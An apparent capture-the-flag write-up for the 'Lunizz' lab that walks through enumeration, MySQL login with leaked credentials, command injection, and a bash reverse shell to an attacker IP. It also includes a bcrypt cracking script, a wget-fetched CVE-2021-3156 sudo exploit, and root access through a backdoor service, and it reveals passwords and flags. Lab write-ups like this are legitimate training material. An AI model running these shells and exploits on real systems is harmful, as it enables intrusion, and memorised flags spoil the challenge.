Skip to content

Latest commit

 

History

History
271 lines (177 loc) · 6.94 KB

lunizzctfnd.md

File metadata and controls

271 lines (177 loc) · 6.94 KB

Lunizz CTF

Scanning

scan the machine

nmap -A -T4 10.10.80.142

there are 4 open ports (80,3306,4444,5000)

image

image

decode the message on port 4444, we have extremesecurerootpassword and p@ssword

try to connect with netcat

nc 10.10.80.142 4444

it seem root, but no...

image

HTTP

just a normal webpage

image

Enumeration

bruteforce the directory

gobuster dir -u http://10.10.80.142/ -w /usr/share/wordlists/dirb/common.txt -t 30 -x php,txt

image

check the /hidden directory, it like a upload page

image

and /whatever directory, it like a command injection

image

but all of above is not working

instructions.txt maybe more interested runcheck:CTF_script_cave_changeme

image

Exploitation

connect to mysql server

mysql -u runcheck -p -h 10.10.80.142
CTF_script_cave_changeme

if it appear an error, wait a minute until it connect

image

SHOW DATABASES;
use runornot;
SHOW TABLES;
SELECT * FROM runcheck;

image

hey, what is run level? what is run on root? doesn't this related to what we just found above

UPDATE runcheck SET run = 1;

comeback /whatever folder, the run level change to 1

image

create a reverse shell

nc -vlnp 1234
/bin/bash -c "bash -i >& /dev/tcp/10.18.37.45/1234 0>&1"

cool, gain foothold

image

upgrade shell

python3 -c "import pty;pty.spawn('/bin/bash')"
export SHELL=/bin/bash;export TERM=xterm-256color
Ctrl+Z
stty raw -echo; fg
ls -la /

i found a folder proct is owned by adam maybe interest

image

we have a subfolder pass and a python file inside

image

so crack the password of bcrypt

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash

but it's not work because the password is salted, you must crack by hand

spoil, password is in range middle of rockyou, so it will take you hours of time, create smaller passlist

sed -n '7288400,7288830p' /usr/share/wordlists/rockyou.txt > list.txt
#!/usr/bin/env python3
import bcrypt
import base64

wordlist = []
with open('list.txt','rt') as file:
    f = file.readlines()
    wordlist = [ x.strip() for x in f ]

salt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UO'
passwd = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'

for word in wordlist:
    password = word
    bpass = password.encode('utf-8')
    passed= str(base64.b64encode(bpass))
    hashAndSalt = bcrypt.hashpw(passed.encode(), salt)
    print('\r', end='') # Clear previous line
    print(f'Hash: {hashAndSalt}', end='')
    
    if hashAndSalt == passwd:
        print(f'Found: {word}')
        break

Spoiler alert: the password is isolsa_tabefX100pre. Where does this occur in rockyou?

import bcrypt
import base64

salt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UO'
passwd = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'

password = 'isolsa_tabefX100pre'
bpass = password.encode('ascii')
passed= str(base64.b64encode(bpass))
hashAndSalt = bcrypt.hashpw(passed.encode(), salt)

if hashAndSalt == passwd:
    print("Match: ", password)

Ok. Let's say we use our python script and run through rockyou; how long would that take?

Honestly I don't know, but it would be a long time. Many hours. i don't know how it got past testing

but, i found another approach at CVE-2021-3156

image

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
python3 -m http.server

on target machine

cd /tmp
wget http://10.18.37.45:8000/exploit.c
wget http://10.18.37.45:8000/shellcode.c
wget http://10.18.37.45:8000/Makefile
make
./exploit 0

maybe it's not work, a bad experience with a lab...

after login to adam with our cracked password, look at Desktop has a archive folder

cat /home/adam/Desktop/.archive/to_my_best_friend_adam.txt

image

it's a google map place

image

so, login to mason with password northernlights (lowercase and remove spaces)

image

Flag user.txt
Answer thm{23cd53cbb37a37a74d4425b703d91883}

Privilege Escalation

check netstat -a returns a service of root running on http://127.0.0.1:8080

image

curl http://127.0.0.1:8080/

image

it seem a mason's backdoor

curl http://127.0.0.1:8080/ -X POST -d "password=northernlights&cmdtype=lsla"

image

change password

curl http://127.0.0.1:8080/ -X POST -d "password=northernlights&cmdtype=passwd"

image

su root
northernlights
cat /root/r00t.txt

image

Flag r00t.txt
Answer thm{ad23b9c63602960371b50c7a697265db}